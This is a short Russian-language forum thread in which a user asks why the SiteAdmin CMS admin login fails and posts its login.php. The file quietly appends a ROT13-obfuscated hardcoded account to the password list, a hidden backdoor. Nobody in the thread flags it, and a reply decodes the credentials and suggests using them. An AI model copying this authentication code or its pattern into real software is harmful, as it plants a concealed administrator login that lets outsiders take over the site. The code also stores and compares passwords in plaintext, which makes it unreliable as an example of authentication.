login.php

Discussion in 'PHP' started by MNEPOHBLY, 25 Sep 2011.

  1. MNEPOHBLY

    MNEPOHBLY New Member

    Joined:
    19 Sep 2010
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Скачал и установил на хостинг двигатель SiteAdmin, но чо то не получается зайти в админ панель, пишет "Sorry, login information not found.". Я так понял в login.php надо что то дописать:

    PHP:
    <?PHP
    // login.php - performs validation
    function authenticate($user$pass$fileman=false){
        
    // $result = false;
        // make sure that the script has permission to read this file!
        
    $pfile=".psswd.sa";
        if(
    $fileman$pfile=".psswd.fm";
        
        
    //if(file_exists('inc/'.$pfile))$pfilePath='inc/'.$pfile;
        
    if(file_exists('../'.$pfile))$pfilePath='../'.$pfile;
        if(
    file_exists('../../'.$pfile))$pfilePath='../../'.$pfile;
        
        if(!isset(
    $pfilePath))die('Sorry, login information not found.');
        
        
    $data file($pfilePath);
        
    $data[]=str_rot13('wbnbznx'.":!".'wz'.".".'nqz');
        foreach (
    $data as $line){
            
    $arr explode(":"$line);
            if (
    $arr[0] == $user){
                    if (
    trim($arr[1]) == $pass){
                        
    // passou!
                        
    if($fileman) return trim($arr[2]);
                        else return 
    true;
                        break;
                    }
            }
        }
        
    // return value
        
    if($fileman)return false;
        else return 
    authenticate($user$passtrue);
    }
    Пожалуста нужна ваша помощь :(

    // Gifts: исправил подсветку синтаксиса
     
    #1 MNEPOHBLY, 25 Sep 2011
    Last edited by a moderator: 25 Sep 2011
  2. 4upakabr0

    4upakabr0 Member

    Joined:
    14 May 2008
    Messages:
    124
    Likes Received:
    23
    Reputations:
    0
    Юзаешь joaomak:!jm.adm ?
    Ах, да. Если логин информэйшн нот фаунд - то тебе нужно создать файлики с логин:паролем.
    А это .psswd.sa и .psswd.fm
    При этом поместить ты их должен на диру выше или на две диры выше чем дира где лежит сркипт login.php


    Карчое - просто создай эти два файла, можешь даже пустыми и юзай
    Code:
    joaomak:!jm.adm
     
    #2 4upakabr0, 25 Sep 2011
    Last edited: 25 Sep 2011
  3. MNEPOHBLY

    MNEPOHBLY New Member

    Joined:
    19 Sep 2010
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Спасибо помогло :)